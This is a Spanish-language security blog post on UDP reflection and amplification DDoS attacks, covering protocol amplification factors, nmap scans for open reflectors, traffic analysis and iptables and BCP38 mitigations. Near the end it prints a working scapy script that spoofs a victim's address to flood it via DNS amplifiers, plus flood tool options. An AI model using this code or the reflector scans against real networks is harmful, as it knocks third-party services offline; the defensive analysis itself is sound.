Tutoriales y Manuales
Entradas Mensuales
-
►
2024
(Total:
953
)
- ► septiembre (Total: 50 )
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
►
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
▼
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
▼
junio
(Total:
8
)
- ntopng - network top next generation - analizador ...
- Tutorial - Manual SQLmap: ataques SQLi - Inyección...
- Distribuciones con Herramientas para Análisis Forense
- RHEL - Red Hat Enterprise Linux 7
- XSSF - Cross Site Scripting Framework
- Ataques UDP Reflection Flood DrDoS (Inundación med...
- Wifislax 4.9 - Live-CD Auditorías Wireless
- TrueCrypt ya no es seguro
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
seguridad
(
395
)
privacidad
(
363
)
google
(
346
)
ransomware
(
337
)
vulnerabilidad
(
293
)
Malware
(
259
)
Windows
(
239
)
android
(
239
)
cve
(
231
)
tutorial
(
231
)
manual
(
216
)
software
(
201
)
hardware
(
189
)
linux
(
123
)
twitter
(
115
)
ddos
(
94
)
WhatsApp
(
90
)
Wifi
(
84
)
cifrado
(
77
)
herramientas
(
75
)
hacking
(
73
)
sysadmin
(
67
)
app
(
65
)
Networking
(
56
)
nvidia
(
52
)
ssd
(
50
)
youtube
(
50
)
adobe
(
43
)
firmware
(
41
)
office
(
41
)
hack
(
40
)
firefox
(
35
)
contraseñas
(
32
)
eventos
(
32
)
antivirus
(
31
)
juegos
(
31
)
cms
(
30
)
flash
(
28
)
anonymous
(
27
)
MAC
(
25
)
programación
(
25
)
apache
(
24
)
exploit
(
23
)
javascript
(
22
)
multimedia
(
22
)
Kernel
(
20
)
ssl
(
19
)
SeguridadWireless
(
17
)
documental
(
16
)
Forense
(
15
)
conferencia
(
15
)
Debugger
(
14
)
lizard squad
(
14
)
técnicas hacking
(
13
)
auditoría
(
12
)
delitos
(
11
)
metasploit
(
11
)
Virtualización
(
10
)
adamo
(
9
)
reversing
(
9
)
Rootkit
(
8
)
Ehn-Dev
(
7
)
MAC Adress
(
6
)
antimalware
(
6
)
oclHashcat
(
5
)
Entradas populares
-
Después de ver qué es una vCPU y la diferencia entre núcleos (cores) e hilos en los procesadores, pasamos a explicar toda la nomenclatura d...
-
Loki es un sistema de agregación de logs creado por GrafanaLabs, es escalable horizontalmente, puede contar con alta disponibilidad y está i...
-
Cómo acceder a los archivos de tu móvil Android desde Windows sin necesidad de cables con Phone LinkMicrosoft está comenzando a desplegar una novedad en la que llevan meses trabajando, y que va a ser muy bienvenida para aquellos usuarios ...
Ataques UDP Reflection Flood DrDoS (Inundación mediante Amplificación)
jueves, 12 de junio de 2014
|
Publicado por
el-brujo
|
Editar entrada
Existen muchos tipos de ataques de Denegación de Servicio (DoS), y hasta ahora hemos visto diferentes ataques de inundaciones DoS y DDoS basados en TCP que pueden ser mitigados en cierta manera con herramientas como FloodMon o DDoS Deflate (o mediante Iptables. ipset o APF). Vamos a ver un tipo de ataque Distributed Reflection Denial of Service (DrDDoS) usando tráfico UDP amplificado y reflejado en el que no necesitamos ninguna botnet (ni tener pc's infectados), simplemente una lista grande de servidores mal configurados que nos atacarán por la petición maliciosa de una tercera persona.
Un ataque de denegación de servicio distribuido supone el envío de solicitudes falsas (spoofed) a un gran número de equipos que responden a las solicitudes. Falsificando (spoofing) la dirección ip de origen el atacante consigue que respondan y ataquen "involuntariamente" a la víctima.
A diferencias de otros ataques más convencionales en el pasado que usaban una botnet de máquinas infectadas controladas de alguna manera por el atacante (irc, vía web, etc), en este caso sólo se necesita tener un gran listado de ip's vulnerables. Dichos servidores no están infectados, ni son controladas por el atacante, simplemente son servicios vulnerables que responden a peticiones maliciosas
Un ataque de inundación UDP (Flood UDP) se inicia mediante el envío de un gran número de paquetes UDP a a puertos al azar del sistema de destino. El sistema de destino está además "obligado" a "responder" enviando muchos paquetes ICMP "Destination Unreachable", consumiendo así sus propios recursos y provocando DoS. Como UDP no requiere ningún procedimiento de configuración de la conexión para la transferencia de datos, cualquier persona con conexión a internet y suficientes conocimientos puede lanzar un ataque; no se necesita acceder al sistema, ni que forme parte de una red zombie.
Debido a la propia naturaleza del protocolo UDP se pueden realizar este tipo de ataques, y no se pueden aplicar ciertas contra medidas anti-spoofing como Unicast Reverse-Path Forwarding (uRPF), ACLs, etc.
El protocolo UDP proporciona un procedimiento para programas para enviar mensajes a otros programas con un mínimo de mecanismo de seguridad. El protocolo está orientado a la transacción, y la entrega y protección duplicados no están garantizados. Las aplicaciones que requieren la entrega confiable ordenada de flujos de datos deben utilizar el Protocolo de Control de Transmisión (TCP).
UDP es utilizado en:
• DNS: Domain Name System
• NFS: Network File System
• NTP: Network Time Protocol
• SNMP: Simple Network Management Protocol
• NFS: Network File System
• NTP: Network Time Protocol
• SNMP: Simple Network Management Protocol
• DHCP: Dynamic Host Configuration Protocol
• TFTP: Trivial File Transfer Protocol
• Streaming / VoIP (Team Speak)
• BitTorrent
• Quake Network Protocol
• Streaming / VoIP (Team Speak)
• BitTorrent
• Quake Network Protocol
UDP
es utilizado muy frecuentemente también en servidores de juegos o
streaming por su simplicidad, baja latencia y poder de broadcast
(multicast).
Esquema normal de tráfico:
Esquema de un Ataque:
- Host A --> Atacante
- Host B --> Servidor "vulnerable" UDP
- Host C --> Víctima
¿Dónde está el problema? Amplificación y Reflexión
1. IP Spoofing
El atacante puede suplantar la ip de origen (Source Address Spoofing), udp no lo valida. No es un problema nada nuevo, ya que hay reportes en CERT desde el año 1997.2. Amplificación (Amplification)
• El atacante hace una pequeña solicitud que genera significativamente una mayor respuesta / respuesta. Se han visto ataques que pueden generar un tráfico de hasta 300gb/sec. Se caclcula que un atacante con una velocidad de subida uplink de 1 Gb/s podría generar varios ataques de varios Tbit/s
3. Reflectores (Reflection)
• El atacante envía peticiones falsificados a un gran número de servidores vulnerables que responden a las peticiones. El uso falsificado de la dirección IP, hace que la dirección "origen" es en realidad el objetivo real del ataque, donde se envían todas las respuestas. Cómo veremos, muchos servicios pueden ser explotados para actuar como reflectores.
Distributed Reflection/Reflective Denial of Service (DrDDoS)
Reflected Denial of Service (DoS) Attack.
Amplificación: Ataques cada vez más comunes que se aprovechan del poder multiplicador, al poder amplificar el tráfico que pueden generar y enviar a la víctima.
UDP Reflection
Protocolo | Multiplicador |
DNS | 28 a 54 |
NTP | 556.9 |
SNMPv2 | 6.3 |
NetBIOS | 3.8 |
SSDP | 30.8 |
CharGEN | 358.8 |
QOTD | 140.3 |
BitTorrent | 3.8 |
Kad | 16.3 |
Quake Network Protocol | 63.9 |
Steam Protocol | 5.5 |
Multicast DNS (mDNS) | 2 a 10 |
RIPv1 | 131.24 |
Portmap (RPCbind) | 7 a 28 |
LDAP | 46 a 55 |
CLDAP | 56 a 70 |
TFTP | 60 |
Memcached | 10,000 a 51,000 |
CoAP | 10 a 50 |
WS-Discovery | 10 a 500 |
- DNS Reflection (port 53, udp) open DNS recursive Poder Amplificación del tráfico 18x/1000x
- CharGen (Character Generator Procotol) puerto 19. GetBulk request Poder Amplificación grande: 160x
- Echo (puerto 7)
- QOTD: (Quote of the Day) Muy similar a CharGen (puerto 17)
- NTP (Network Time Protocol) port 123 Poder Amplificación muy grande 1000x
- SNMP (Simple Network Management Protocol) port 161 Poder Amplificación 880x
- SSDP (Simple Service Discovery Protocol) Puerto 1900 udp SSDP Plug & Play (UPnP)
- LDAP/CLDAP: Puerto 389 UDP. Hasta 250.000 dispositivos vulnerables. Poder amplificación hasta 70x.
- Memcached Puerto UDP: 11211
- TFTP Puerto 69
- WS-Discovery (Web Services Dynamic Discovery (WS-Discovery)) SOAP UDP, puerto: 3702
- Constrained Application Protocol (CoAP), puerto 5683/UDP- Poder amplificación 27x
- NetBIOS (Network Basic Input/Output System) : puerto 137
- UBNT Ubiquiti Networks: puerto 10001 por UDP. Factor amplificación entre 30x o 35x veces
- PortMapper (RPCBind): puerto 111, tanto sobre UDP como sobre TCP. Poder amplificación entre 7x y 28x veces
Nombre | Puerto origen UDP | Descripción |
---|---|---|
DNS | 53 (o aleatorio) | Domain Name System |
CharGEN | 19 | Character Generator Procotol |
Echo | 7 | File search |
QOTD | 17 | Quote of the Day |
NTP | 123 | Networt Time Protocol |
SNMP | 161 | Simple Network Management Protocol |
SSDP | 1900 | Simple Service Discovery Protocol |
CLDAP | 389 | Connection-less LDAP |
Memcached | 11211 | Memcached |
CoAP | 5683 | Constrained Application Protocol |
WS-Discovery | 3702 | Web Services Dynamic Discovery |
Se calcula que hay más 1 millón de servidores NTP vulnerables (a fecha de Enero de 2014) -Reporte de http://openntpproject.org
Se calcula que hay más 30 millones de servidores DNS recursivos (open) vulnerables (a fecha de Octubre de 2013) -Reporte de http://openresolverproject.org
Comprobar si una IP es "open resolver"
dig +short test.openresolver.com TXT @IP
600,000 dispositivos CoAP (en diciembre de 2018) hasta los 387,000 en Agosto de 2020
Encontrar Servidores DNS recursivos con nmap:
nmap -sU -pU:53 -sV -P0 --script="dns-recursion" -oN open-dns-resolver.txt
Escanear con nmap SSDP (Simple Service Discovery Protocol)
o bien:nmap -sU -p 1900 --script=upnp-info
nmap -sU -pU:1900 -Pn -n --script=upnp-info
Network Time Protocol es simplemente usado para inscronizar el reloj vía Internet. El demonio (daemon) NTP (ntpd) se puede utilizar como cliente y servidor. ntp amplification attack es un ataque muy común.
Tabla ejemplo según CERT-US, United States Computer Emergency Readniess Team
Protocol | Bandwidth Amplification Factor | Vulnerable Command |
---|---|---|
DNS | 28 to 54 | see: TA13-088A [1] |
NTP | 556.9 | see: TA14-013A [2] |
SNMPv2 | 6.3 | GetBulk request |
NetBIOS | 3.8 | Name resolution |
SSDP | 30.8 | SEARCH request |
CharGEN | 358.8 | Character generation request |
QOTD | 140.3 | Quote request |
BitTorrent | 3.8 | File search |
Kad | 16.3 | Peer list exchange |
Quake Network Protocol | 63.9 | Server info exchange |
Steam Protocol | 5.5 | Server info exchange |
Algunos de estos servicios están activos todavía por defecto en el daemon xinetd y el obsoleto /etc/inetd.conf
Deshabilitar:
#chargen dgram udp wait root internal
UDP Flood - UDP: User Datagram Protocol
Al contrario que TCP, el protocolo UDP no está orientado a conexiónAtaques por inundación UDP ¿En qué consisten?
- Envío masivo de paquetes a puertos UDP aleatorios
- Destinatario (víctima)
- Comprueba si alguna aplicación está escuchando en ese puerto
- Puerto aleatorio -> ninguna aplicación estará a la escucha
- Responde con un paquete ICMP Destination Unreachable
- Si el número de paquetes enviados (puertos analizados) es suficientemente elevado el destino será incapaz de responder
Detección - Ejemplo
Analizando el tráfico con herramientas de captura y análisis como:
- wireshark (tshark es la versión en línea de comandos)
- tcpdump
- iptraf
Ejemplo de fragmento de tráfico analizado con iptraf en un ataque UDP Chargen
Mon Jun 9 20:16:27 2014; UDP; eth0; 347 bytes; from 182.220.16.2:19 to 91.126.237.80:2001El servidor responde con un ICMP Destination Unreachable
Mon Jun 9 20:16:27 2014; UDP; eth0; 235 bytes; from 182.18.128.146:19 to 91.126.237.80:2001
Mon Jun 9 20:16:27 2014; UDP; eth0; 247 bytes; from 182.18.128.146:19 to 91.126.237.80:2001
Mon Jun 9 20:16:27 2014; UDP; eth0; 247 bytes; from 182.18.128.146:19 to 91.126.237.80:2001
Mon Jun 9 20:16:27 2014; ICMP; eth0; 576 bytes; from 91.126.237.80 to 182.18.128.146; dest unrch (port)Ya que el log generado por iptraf puede ser muy largo y grande podemos usar algunos comandos para ordenar las ip's que más atacan por número de veces que aparecen:
cat ip_traffic-1.log | grep ":19 to 91.126.237.80:2001" | awk '{ print $11 }' | awk -F: '{ print $1 }' | sort | uniq -c | sort -n > listado-ips-conexiones.log
El resultado sería HITS - IP
En sólo dos minutos de tráfico capturado la ip 182.18.128.146 ha generado 2038 hits
1056 - 49.50.228.5
1066 - 176.197.159.6
1124 - 50.202.107.101
1134 - 64.38.225.40
1160 - 173.215.169.2
1185 - 66.135.35.85
1256 - 66.118.174.178
1795 - 213.176.143.42
2038 - 182.18.128.146
Podemos comprobar como efectivamente la ip 182.18.128.146 tiene el puerto 19 abierto y responde enviando texto:
telnet 182.18.128.146 19
Ejemplo de respuesta CharGen:
Podemos ver de una manera muy gráfica como efectivamente UDP CHARGEN envía 200 a 1000 veces veces más datos de lo que recibe, dependiendo de la implementación
Escanear con nmap:
nmap -sU -p 19
Ejemplo de gráfica con Monitorix, con 40 millones de paquetes:
En nuestra caso una sencilla regla con iptables evitaría el problema:
-A INPUT -p udp -m udp --sport 19 -j DROP
Pero el ataque puede tener un random port de origen y destino:
iptables -A INPUT -p udp -m limit --limit 5/s
-j RETURNiptables -A INPUT -p udp -m limit --limit 5/s
-jLOG
Ejemplo Ataque NTP Port 123 udp
Paquetes capturados con tcpdump en formato pcap
Máximo 50 ficheros de 100MB cada uno sólo tráfico UDP
tcpdump -n udp -C 100 -W 50 -w /tmp/traffic.pcap &O con tshark (máximo 250 ficheros de 100MB)
tshark -b filesize:10000 -a files:250 -w /tmp/traffic.pcap &
Fragmento:
Source port: ntp (123)
Length: 448
Network Time Protocol (NTP Version 2, private)
Implementation: XNTPD (3)
Request code: MON_GETLIST_1 (42)
Podemos ordenar las 50 ip's atacantes por número de paquetes (hits) con un filtro usando tshark
tshark -T fields -e ip.src -r /tmp/traffic.pcap | sort | uniq -c | sort -n | tail -50
[..] top 10
hits - ip
17768 - 212.227.126.49
18133 - 212.227.126.37
18357 - 80.82.78.2
18629 - 206.197.60.7
18645 - 94.20.20.40
19357 - 193.110.75.146
19743 - 202.10.82.10
21386 - 208.118.234.238
26894 - 85.111.0.148
28985 - 118.69.250.27
Analizando el fichero pcap de 1 minuto de duración con Wireshark portable para Windows, Conversations --> ordenado por paquetes:
Ejemplo ataque DNS Reflection:
# tcpdump -i eth0 -nnn port 53 and not port 22
Mediante awk, sed podemos ver las ip's que atacan con más fuerza para después poderlas ordenar por número de hits:
tcpdump -i eth0 -nnn port 53 and not port 22 | awk '{print $3}' | sed 's/\./ /g' | awk '{print $1"."$2"."$3"."$4}' >> /root/udp_flood.log
Mostrar las ips con más número de hits:
Logear tráfico con iptables:cat /root/udp_flood.log | sort | uniq -c | sort -n
-A INPUT -p udp --sport 123 -j LOG --log-prefix "Ataque 123 udp ntp " --log-level 4
Ejemplo
Verificar servidor NTP vulnerable con nmap:Feb 18 20:09:30 ns2 kernel: Ataque 123 udp ntp IN=eth0 OUT= MAC=XXSRC=194.78.180.122 DST=IP LEN=468 TOS=0x00 PREC=0x00 TTL=50ID=17019 DF PROTO=UDP SPT=123 DPT=8363 LEN=448
nmap -sU -pU:123 -Pn -n --script=ntp-monlist 194.78.180.122Resultados:
Nmap scan report for 194.78.180.122O con ntpdc
Host is up (0.037s latency).
PORT STATE SERVICE
123/udp open ntp
| ntp-monlist:
| Target is synchronised with 127.127.1.1 (reference clock)
| Public Servers (1)
| 204.124.183.210
| Other Associations (527)
| 91.126.240.73 (You?) seen 10 times. last tx was unicast v2 mode 7
| 180.96.80.229 seen 10573 times. last tx was unicast v2 mode 7
| 94.177.106.114 seen 2061 times. last tx was unicast v2 mode 7
| 127.0.0.1 seen 2303 times. last tx was unicast v2 mode 6
| 113.82.114.157 seen 2076 times. last tx was unicast v2 mode 7
| 114.80.252.46 seen 218 times. last tx was unicast v2 mode 7
| 61.49.57.18 seen 1187 times. last tx was unicast v2 mode 7
| 49.67.208.168 seen 3425 times. last tx was unicast v2 mode 7
| 183.61.233.247 seen 1127 times. last tx was unicast v2 mode 7
| 81.97.24.75 seen 5622 times. last tx was unicast v2 mode 7
| 173.61.103.240 seen 37578 times. last tx was unicast v2 mode 7
| 111.78.226.130 seen 2027 times. last tx was unicast v2 mode 7
| 60.222.246.6 seen 506 times. last tx was unicast v2 mode 7
| 183.61.234.99 seen 1110 times. last tx was unicast v2 mode 7
| 198.50.241.229 seen 2793 times. last tx was unicast v2 mode 7
| 111.176.137.39 seen 1914 times. last tx was unicast v2 mode 7
| 80.60.16.43 seen 90 times. last tx was unicast v2 mode 7
| 176.31.115.196 seen 124 times. last tx was unicast v2 mode 7
| 185.25.204.79 seen 3 times. last tx was unicast v2 mode 7
| 185.62.188.231 seen 1266 times. last tx was unicast v2 mode 7
ntpdc -c monlist ip_servidor_ntp
También podemos usar el módulo u32 de iptables para dropear los paquetes:
iptables -I INPUT -p udp --dport 123 -m u32 --u32 "0x1C=0x1700032a && 0x20=0x00000000" -m comment --comment "NTP amplification packets" -j DROP
iptables -I INPUT -p 17 -m multiport --ports 123 \-m u32 --u32 "0>>22&0x3C@8&0xFF=42" -j LOG --log-prefix="NTP MONLIST "Drop all NTP pakets with request code 42
-A INPUT -p udp -dport 123 -m u32 --u32 0x0>>0x16&0x3c@0x8&0xff=0x2a -j DROP
Ejemplo Ataque Simple Service Discovery Protocol SSDP (upnp) 1900 UDP
SSDP (SSDP). Este protocolo es parte de la función Universal Plug and Play (UPnP) estándar del protocolo. SSDP viene habilitado en millones de dispositivos domésticos y de oficina - incluyendo routers, servidores de medios, cámaras web, televisores inteligentes e impresoras - para permitir que descubran uno al otro en una red, establecer comunicación y coordinar actividades.SSDP no está diseñado para ser un protocolo de Internet enrutable, y punto. De hecho, nunca se va a convertir en un estándar. El Proyecto de Internet elaborado por ITEF expiró en abril de 2000. Más tarde, se convirtió en parte del UPnP (Universal Plug and Play).Un descubrimiento de multidifusión y el mecanismo de búsqueda que utiliza una variante de multidifusión de HTTP a través de UDP.
SSDP (SSDP) es un protocolo que se anuncia y se ve para servicios de red. En los sistemas Windows, el servicio SSDP controla la comunicación para el Universal Plug and Play (UPnP).
Según https://ssdpscan.shadowserver.org/ se calcula que actualmente (2015) hay más de 14 millones de dispositivos vulnerables en todo el mundo.
HD Moore de Rapid7 creado una utilidad que tanto escanear para la comunicación SSDP y le notificará si el sistema era vulnerable a exploits UPnP
"UPnP SSDP M-SEARCH Information Discovery"
msf > use auxiliary/scanner/upnp/ssdp_msearch
En el primer paso del proceso de ataque, una solicitud SOAP (M - SEARCH) se envía a un UPnP - dispositivo activado, El paquete M - Search identifica los dispositivos vulnerables. El dispositivo responde a la solicitud con la ubicación HTTP de su archivo de descripción de dispositivos, un archivo XML.
O buscar con nmap:
nmap -sU -pU:1900 -Pn -n --script=upnp-info 74.193.198.xResultado ejemplo:
Nmap scan report for 74.193.198.xLa respuesta deberá ser enviada en el siguiente formato
Host is up.
PORT STATE SERVICE
1900/udp open upnp
| upnp-info:
| 74.193.198.158
| Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0
| ST: upnp:rootdevice
| USN: uuid:1b3a60b8-1dd2-11b2-a962-c354ab4f61f7::upnp:rootdevice
|_ Location: http://192.168.0.1:65530/rootDesc.xml
HTTP/1.1 200 OK CACHE-CONTROL: max-age = seconds until advertisement expires DATE: when response was generated EXT: LOCATION: URL for UPnP description for root device SERVER: OS/version UPnP/1.1 product/version ST: search target USN: composite identifier for the advertisement BOOTID.UPNP.ORG: number increased each time device sends an initial announce or an update message
Multicast:
M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp:discover" MX: seconds to delay response ST: search target USER-AGENT: OS/version UPnP/1.1 product/version
Unicast:
M-SEARCH * HTTP/1.1 HOST: hostname:portNumber MAN: "ssdp:discover" ST: search target USER-AGENT: OS/version UPnP/1.1 product/version
Contramedidas - Mitigación
Es casi imposible mitigar el ataque desde el lado de la víctima....- Los paquetes del DDoS (Ataque de denegación de servicio distribuido) podrían venir de cualquier parte del mundo
Podemos limitar con iptables el tráfico udp
# Limitar el UDP flood
# Crear la cadena para UDP flood
iptables -N cadena-udp-flood
# Saltar a la cadena cuando el UDP es detectado
iptables -A INPUT -p udp -j cadena-udp-flood
# Limitar la velocidad UDP a 10/segundos con limite de 20
iptables -A cadena-udp-flood -m limit – -limit 10/s – -limit-burst 20 -m comment – -comment “Limite velocidad UDP” -j RETURN
# Logear
iptables -A cadena-udp-flood -m limit – -limit 6/h – -limit-burst 1 -j LOG – -log-prefix “Probable udp flood “
# Baneados durante 5 minutos los que más floodean
iptables -A cadena-udp-flood -m recent – -name blacklist_300 – -set -m comment – -comment “BlackList origen IP” -j DROP
Módulo limit (iptables)
Diferencias entre limit y limit burst
Usando el módulo limit-m limit
Podemos hacer uso de limit y limit burst
iptables -I FORWARD -p udp -m limit --limit 200/s --limit-burst -j DROPCon --limit se especifica una media (average), no un caudal. Por ejemplo: decir 200/s (200 por segundo) puede significar que en el primer minuto se reciben 50 paquetes y en el segundo también 50 o puede significar que en el primer minuto se reciben 100 y en el segundo 50... la media sigue siendo 200/segundo.
El limite puede ser
- /second (/s)
- /minute (/m)
- /hour (/h)
- /day (/d)
--limit-burst especifica un máximo, si no se especifica un --limit-burst por defecto vale 5 y significa que se aceptaran los primeros 5 paquetes y luego se esperara hasta alcanzar la media para seguir aceptando.
Módulo Recent (iptables)
El módulo de IPTables recientes tiene algunas limitaciones. Por defecto, sólo hace un seguimiento de las 100 más recientes 100 IPs, y los últimos diez paquetes de cada una. Si tienes una gran cantidad de direcciones IP de origen de golpe, estos límites pueden no ser suficientes.Soluciones - Mitigación - Contramedidas
Los servidores vulnerables deberían ser cerrados o configurados correctamente:- DNS En Bind DNS los servidores que sean "Open resolvers" deben usar Response Rate Limiting (RRL). usar ACL'S y recursion no; en el fichero named.conf
- Chargen (Character Generator Procotol) totalmente obsoleto, actualmente no se utiliza para nada. Diseñado en el año 1980.
- Echo no amplifica
- NTP (Networt Time Protocol) no responder al comando, orden "monlist" es vulnerable se pueden filtrar consultas mediante "restrict"
- SNMP (Simple Network Management Protocol) distinguir entre public y private además de usar ACL. Deshabilitar SNMPv1 y v2, usar v3 y proteger con contraseña.
Evitar el Spoofing: BCP38
El Grupo de Trabajo de la Red de la Internet Engineering Task Force (IETF) publicó Best Current Practice documento 38 en mayo de 2000 y Mejores Prácticas actuales 84 marzo 2004 que describe como un proveedor de servicios de Internet puede filtrar el tráfico de red en su red para rechazar los paquetes con direcciones de origen no puede llegar a través del recorrido del paquete actual
Los paquetes falsos deberían prohibirse en el origen (BCP38) Network Ingress Filtering: Defeating Denial of Service Attacks que emplea "IP Source Address Spoofing"
Implementar (para evitar IP Spoofing)
- BCP38 (RFC2827)
- BCP84 (RFC3704)
¿Qué es BCP38?
El documento BCP38 corresponde al estándar RFC2827: Filtrado de redes en ingreso: derrotando los ataques de denegación de servicio que utilizan direcciones IP de origen falsificadas (Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing, en el inglés original). Es decir, es un documento que explica estos ataques, y recomienda a los operadores de redes las mejores forma de evitarlos.
Los ataques de Denegación de Servicio (DoS), y sus primos aún peores de Denegación de Servicio Distribuido (DDoS), siempre han sido difíciles de manejar. Y si a eso le sumamos que los paquetes que componen el ataque podrían tener su origen falsificado, no solo se hace más dificil detener el ataque, sino también se hace imposible deternimar desde dónde viene.
La solución a este problema, descrito en el RFC2827 escrito hace 13 años atrás por Paul Ferguson y Daniel Senie, es bloquear los paquetes IP en el momento de entrar a Internet si es que tienen direcciones IP falsificadas -- es decir, direcciones IP que no fueron asignadas al dispositivo que los está enviando. Existe un pequeño número de casos en los que esos paquetes not son fraudulentos, pero ese porcentaje es tan bajo que se pueden manejar como excepciones mantenidas a mano, incluso en ambientes donde tales paquetes serían bloqueados en su origen -- el título 'Filtrado en ingreso' mencionado en el RFC.
La idea es simple. Dropear (drop, descartar) los paquetes que entran la red (border router) cuya dirección de origen no es la misma que la dirección de red asignada de la red de origen
Implementar filtros ingress/egress filter en el border router del ISP:
Para verificar si en su red se ha implementado el filtrado de entrada, puedes descarga las herramientas de código abierto del proyecto Spoofer:
Ejemplos:
Mitigated by Sevi
- DoS UDP Misuse
- DoS IP Private Misuse
- DoS TCP SYN Misuse
- DoS TCP RST Misuse
- DoS Fragmentation Misuse
Herramientas - Tools - DrDoS
- Scripts Python (usando librería scapy) (DrDoS)
Scapy es una biblioteca de manipulación de paquetes para elaborar paquetes. La biblioteca Scapy permite crear protocolos de paquetes fácilmente y simplifica el IP spoofing.
Ejemplos códigos:
from scapy.all import *Dónde DATA es el payload
packet = IP(dst=ssdpserver,src=target)/UDP(sport=1900,dport=1900)/Raw(load=data)
Ejemplos códigos:
#!/usr/bin/env python2
import threading
from scapy.all import *
def attack(target, port, server, domain):
# send a spoofed packet
pkt = IP(src=ip_addr, dst=server) / UDP(sport=RandShort(),dport=53,
len=45) / DNS(id=RandShort(), rd=1, qd=DNSQR(qname=domain, qtype="ALL",
qclass="IN"), ar=DNSRROPT(rclass=65527, rdlen=0), )
send(pkt)
def main(target, port, amp_file, domain, threads=10):
with open(amp_file) as f: # read amplifiers file
servers = f.read().splitlines()
servers_len = len(servers)
port, threads = int(port), int(threads)
iterator = 0
while True:
try:
while threading.activeCount() <= threads:
server = servers[iterator]
t = threading.Thread(target=attack, args=(target, port,
server, ))
t.start()
iterator = (iterator + 1 if iterator < servers_len-1
else 0)
except (KeyboardInterrupt, SystemExit):
raise
if __name__ == '__main__':
from sys import argv
args = argv[1:]
if len(args) < 3:
print 'Usage: {0} target port list [threads]'.format(argv[0])
else:
main(*args)
# python dns.py
Usage: dns.py [list] [domain] [ip]
Herramientas - Tools - DDoS
- hping3
- packit
- nemesis
- r2dr2-udp-drdos-tool
- AMP-Research (UDP/TCP amplification vectors, payloads and mitigations)
- LOIC (Low orbit Ion Canon) (udp flood directo), no hay spoofing, por lo tanto no amplifica)
- HOIC (High Orbit Ion Cannon)
- HTTP Unbearable Load King (HULK) . Tor's Hammer
- Low and Slow Attacks: SLOWLORIS (SlowSloris, SlowPost, nkiller2, recoil)
- ApacheKiller, RefRef. Rudy (R-U-Dead-Yet), thc-ssl-dos
- http2 (hpack)
- ufonet
Low Orbit Ion Cannon (abreviado LOIC) es una aplicación diseñada para realizar un ataque de denegación de servicio durante el proyecto Chanology, desarrollada por Praetox, usando el lenguaje de programación C# (Existe también un fork en C++ y Qt llamado LOIQ). La aplicación realiza un ataque de denegación de servicio del objetivo enviando una gran cantidad de paquetes TCP, paquetes UDP o peticiones HTTP con objeto de determinar cuál es la cantidad de peticiones por segundo que puede resolver la red objetivo antes de dejar de funcionar.
High Orbit Ion Cannon , es la herramienta que sustituyo a L.O.I.C por la diferencia en su efectividad de dejar fuera de servicio un sitio web.
Características:
- Posee una alta velocidad en las tareas de multi-thread HTTP Flood (inundación HTTP).
- Capaz de saturar simultáneamente más de 256 websites.
- Construido sobre sistema de scripts para permitir el despliegue de 'boosters'(refuerzos): secuencias de comandos diseñadas para frustrar contramedidas y aumentar la potencia de salida del DoS.
- Selección de Boost previamente creados (Targets ya predeterminados).
- Posibilidad de regular la cantidad de threads para el ataque (piensa en cada thread como en un cañón).
- Posibilidad de regular la cantidad de threads para el ataque (piensa en cada thread como en un cañón).
- Desarrollado en lenguaje REAL BASIC.
- No requiere de instalación, y sólo utiliza un ejecutable.
Hping3 permite manipular paquetes TCP/IP
HPing (hping3) es una herramienta en linea de comandos que nos permite crear y analizar paquetes TCP/IP, y como tal tiene un muchas utilidades: hacer testing de firewalls, escaneo de puertos, redes y como no… también tiene la capacidad de provocar un SYN Flood Attack (DDoS).
Hping3 es una aplicación de terminal para Linux que nos va a permitir
analizar y ensamblar fácilmente paquetes TCP/IP. A diferencia de un Ping
convencional que se utiliza para enviar paquetes ICMP, esta aplicación
permite el envío de paquetes TCP, UDP y RAW-IP
hping3 [opciones] host
hping3 [opciones] host
- v –version muestra la versión actual de hping3
- -c –count contador de paquetes
- -i –interval tiempo de espera (uX para X microsegundos, por ejemplo -i u1000)
- –fast alias para -i u10000 (10 paquetes por segundo)
- –faster alias para -i u1000 (100 paquetes por segundo)
- –flood envía paquetes lo más rápido posible, no muestra las respuestas.
- -n –numeric salida con números
- -q –quiet comando silencioso sin que lo muestre por pantalla
- -I –interface nombre de la interfaz, si no se pone nada, por defecto es la interfaz de la puerta de encima predeterminada.
- -V –verbose modo verbose para depuración
- -D –debug información de debugging
- -z –bind enlaza ctrl+z a ttl (por defecto al puerto de destino)
- -Z –unbind desenlaza ctrl+z
- –beep beep por cada paquete recibido que coincida
Opciones básicas
- -c número paquetes
- -i intervalo espera (uX para esperar X microsegundos, eg. -i u1000)
- --fast alias -i u10000 (10 paquetes/segundo)
- --faster alias -i u1000 (100 paquetes/segundo)
- --flood envío de paquetes sin espera (lo más rápido posible)
Modo por defecto es TCP
Packit (apt-get install packit) es una herramienta para la captura e inyección de paquetes que permite personalización paquetes: TCP, UDP, ICMP, IP, ARP, RARP, Ethernet header
packit [-t protocolo] opciones
Opciones básicas de inyección de paquetes
- -0 --rawip RAW IP mode
- -1 --icmp ICMP mode
- -2 --udp UDP mode
- -8 --scan SCAN mode
- -9 --listen listen mode
- -a --spoof spoof dirección origen
- --rand-source especificar dirección de origen aleatoria
- -s --baseport puerto de origen
- -p --destport puerto destino
- -S --syn flag SYN
- -R --rst flag RST
IP:
- -a –spoof spoofea la dirección IP de origen
- –rand-dest dirección IP de destino aleatorio.
- –rand-source dirección IP de origen aleatorio.
- -t –ttl ttl (por defecto 64)
- -N –id id (por defecto aleatorio)
- -W –winid usa el orden de bytes win*id
- -r –rel relativiza el campo de identificación (para estimar el tráfico del host)
- -f –frag fragmenta paquetes en más de un fragmento, puede atravesar ACL débiles
- -x –morefrag fragmenta más
